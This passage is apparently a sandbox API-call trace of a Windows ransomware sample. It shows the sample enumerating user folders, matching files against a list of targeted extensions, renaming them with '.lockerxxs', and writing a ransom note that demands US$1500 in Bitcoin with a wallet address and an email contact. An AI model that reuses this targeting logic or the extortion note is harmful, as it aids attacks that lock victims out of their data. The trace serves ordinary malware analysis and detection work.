lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.845] CloseHandle (hObject=0x88) returned 1 [0090.845] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\txmqeaa7xmqfc.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\txmqeaa7xmqfc.wav.lockerxxs")) returned 1 [0090.848] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566b05f0, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0x473be620, ftLastAccessTime.dwHighDateTime=0x1d5e6b3, ftLastWriteTime.dwLowDateTime=0x473be620, ftLastWriteTime.dwHighDateTime=0x1d5e6b3, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x36000335, dwReserved1=0x4e00c4, cFileName="TXmqeaa7XMqFc.wav", cAlternateFileName="TXMQEA~1.WAV")) returned 0 [0090.848] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0090.848] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x4ff4e8, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0090.848] lstrcmpA (lpString1=".", lpString2="My Documents") returned -1 [0090.848] lstrcmpA (lpString1="..", lpString2="My Documents") returned -1 [0090.848] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.849] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="My Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0090.849] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 42 [0090.849] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566b05f0, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0x473be620, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d5e6b3, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x36000335, dwReserved1=0x4e00c4, cFileName="TXmqeaa7XMqFc.wav", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0090.849] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x440020, cFileName="NetHood", cAlternateFileName="")) returned 1 [0090.849] lstrcmpA (lpString1=".", lpString2="NetHood") returned -1 [0090.849] lstrcmpA (lpString1="..", lpString2="NetHood") returned -1 [0090.849] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.849] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="NetHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0090.849] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 37 [0090.849] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566b05f0, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0x473be620, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d5e6b3, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x36000335, dwReserved1=0x4e00c4, cFileName="TXmqeaa7XMqFc.wav", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0090.850] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8f3afd80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8f3afd80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x65004e, dwReserved1=0x480074, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0090.850] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.850] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NTUSER.DAT") returned -1 [0090.850] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NTUSER.DAT") returned -1 [0090.850] lstrcmpiA (lpString1="", lpString2="NTUSER.DAT") returned -1 [0090.850] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.850] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.850] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.850] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.850] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0xffffffff [0090.850] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0090.853] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.853] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.855] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.855] CloseHandle (hObject=0x84) returned 1 [0090.855] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="NTUSER.DAT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" [0090.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.ems") returned 0 [0090.855] lstrlenA (lpString="*.ems") returned 5 [0090.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.db") returned 0 [0090.855] lstrlenA (lpString="*.db") returned 4 [0090.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.dbf") returned 0 [0090.855] lstrlenA (lpString="*.dbf") returned 5 [0090.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.myox") returned 0 [0090.855] lstrlenA (lpString="*.myox") returned 6 [0090.855] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.myo") returned 0 [0090.856] lstrlenA (lpString="*.myo") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qbw") returned 0 [0090.856] lstrlenA (lpString="*.qbw") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qbb") returned 0 [0090.856] lstrlenA (lpString="*.qbb") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qbm") returned 0 [0090.856] lstrlenA (lpString="*.qbm") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qbo") returned 0 [0090.856] lstrlenA (lpString="*.qbo") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qbx") returned 0 [0090.856] lstrlenA (lpString="*.qbx") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qba") returned 0 [0090.856] lstrlenA (lpString="*.qba") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qby") returned 0 [0090.856] lstrlenA (lpString="*.qby") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qbj") returned 0 [0090.856] lstrlenA (lpString="*.qbj") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.ofx") returned 0 [0090.856] lstrlenA (lpString="*.ofx") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.qif") returned 0 [0090.856] lstrlenA (lpString="*.qif") returned 5 [0090.856] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.mye") returned 0 [0090.856] lstrlenA (lpString="*.mye") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.mbox") returned 0 [0090.857] lstrlenA (lpString="*.mbox") returned 6 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.eml") returned 0 [0090.857] lstrlenA (lpString="*.eml") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.pst") returned 0 [0090.857] lstrlenA (lpString="*.pst") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.ost") returned 0 [0090.857] lstrlenA (lpString="*.ost") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.idx") returned 0 [0090.857] lstrlenA (lpString="*.idx") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.dbx") returned 0 [0090.857] lstrlenA (lpString="*.dbx") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.sql") returned 0 [0090.857] lstrlenA (lpString="*.sql") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.mdb") returned 0 [0090.857] lstrlenA (lpString="*.mdb") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.fdb") returned 0 [0090.857] lstrlenA (lpString="*.fdb") returned 5 [0090.857] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.wab") returned 0 [0090.857] lstrlenA (lpString="*.wab") returned 5 [0090.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", pszSpec="*.dat") returned 1 [0090.858] lstrlenA (lpString="*.dat") returned 5 [0090.858] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" [0090.858] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" [0090.858] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT." [0090.858] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT.lockerxxs" [0090.858] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.858] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8f389c20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0090.858] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ntuser.dat.LOG1") returned -1 [0090.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ntuser.dat.LOG1") returned -1 [0090.859] lstrcmpiA (lpString1="", lpString2="ntuser.dat.LOG1") returned -1 [0090.859] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned="NTUSER.DAT" [0090.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.859] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.859] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.859] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0x20 [0090.859] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="ntuser.dat.LOG1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" [0090.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.ems") returned 0 [0090.859] lstrlenA (lpString="*.ems") returned 5 [0090.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.db") returned 0 [0090.859] lstrlenA (lpString="*.db") returned 4 [0090.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.dbf") returned 0 [0090.859] lstrlenA (lpString="*.dbf") returned 5 [0090.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.myox") returned 0 [0090.859] lstrlenA (lpString="*.myox") returned 6 [0090.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.myo") returned 0 [0090.859] lstrlenA (lpString="*.myo") returned 5 [0090.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qbw") returned 0 [0090.859] lstrlenA (lpString="*.qbw") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qbb") returned 0 [0090.860] lstrlenA (lpString="*.qbb") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qbm") returned 0 [0090.860] lstrlenA (lpString="*.qbm") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qbo") returned 0 [0090.860] lstrlenA (lpString="*.qbo") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qbx") returned 0 [0090.860] lstrlenA (lpString="*.qbx") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qba") returned 0 [0090.860] lstrlenA (lpString="*.qba") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qby") returned 0 [0090.860] lstrlenA (lpString="*.qby") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qbj") returned 0 [0090.860] lstrlenA (lpString="*.qbj") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.ofx") returned 0 [0090.860] lstrlenA (lpString="*.ofx") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.qif") returned 0 [0090.860] lstrlenA (lpString="*.qif") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mye") returned 0 [0090.860] lstrlenA (lpString="*.mye") returned 5 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mbox") returned 0 [0090.860] lstrlenA (lpString="*.mbox") returned 6 [0090.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.eml") returned 0 [0090.860] lstrlenA (lpString="*.eml") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.pst") returned 0 [0090.861] lstrlenA (lpString="*.pst") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.ost") returned 0 [0090.861] lstrlenA (lpString="*.ost") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.idx") returned 0 [0090.861] lstrlenA (lpString="*.idx") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.dbx") returned 0 [0090.861] lstrlenA (lpString="*.dbx") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.sql") returned 0 [0090.861] lstrlenA (lpString="*.sql") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mdb") returned 0 [0090.861] lstrlenA (lpString="*.mdb") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.fdb") returned 0 [0090.861] lstrlenA (lpString="*.fdb") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.wab") returned 0 [0090.861] lstrlenA (lpString="*.wab") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.dat") returned 0 [0090.861] lstrlenA (lpString="*.dat") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.txt") returned 0 [0090.861] lstrlenA (lpString="*.txt") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.jpeg") returned 0 [0090.861] lstrlenA (lpString="*.jpeg") returned 6 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.jpg") returned 0 [0090.861] lstrlenA (lpString="*.jpg") returned 5 [0090.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.png") returned 0 [0090.862] lstrlenA (lpString="*.png") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.php") returned 0 [0090.862] lstrlenA (lpString="*.php") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.cs") returned 0 [0090.862] lstrlenA (lpString="*.cs") returned 4 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.cpp") returned 0 [0090.862] lstrlenA (lpString="*.cpp") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.rar") returned 0 [0090.862] lstrlenA (lpString="*.rar") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.zip") returned 0 [0090.862] lstrlenA (lpString="*.zip") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.html") returned 0 [0090.862] lstrlenA (lpString="*.html") returned 6 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.htm") returned 0 [0090.862] lstrlenA (lpString="*.htm") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.xlsx") returned 0 [0090.862] lstrlenA (lpString="*.xlsx") returned 6 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.xls") returned 0 [0090.862] lstrlenA (lpString="*.xls") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mp4") returned 0 [0090.862] lstrlenA (lpString="*.mp4") returned 5 [0090.862] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.ppt") returned 0 [0090.862] lstrlenA (lpString="*.ppt") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.pptx") returned 0 [0090.863] lstrlenA (lpString="*.pptx") returned 6 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.doc") returned 0 [0090.863] lstrlenA (lpString="*.doc") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.dot") returned 0 [0090.863] lstrlenA (lpString="*.dot") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.docx") returned 0 [0090.863] lstrlenA (lpString="*.docx") returned 6 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.7z") returned 0 [0090.863] lstrlenA (lpString="*.7z") returned 4 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.tar") returned 0 [0090.863] lstrlenA (lpString="*.tar") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", 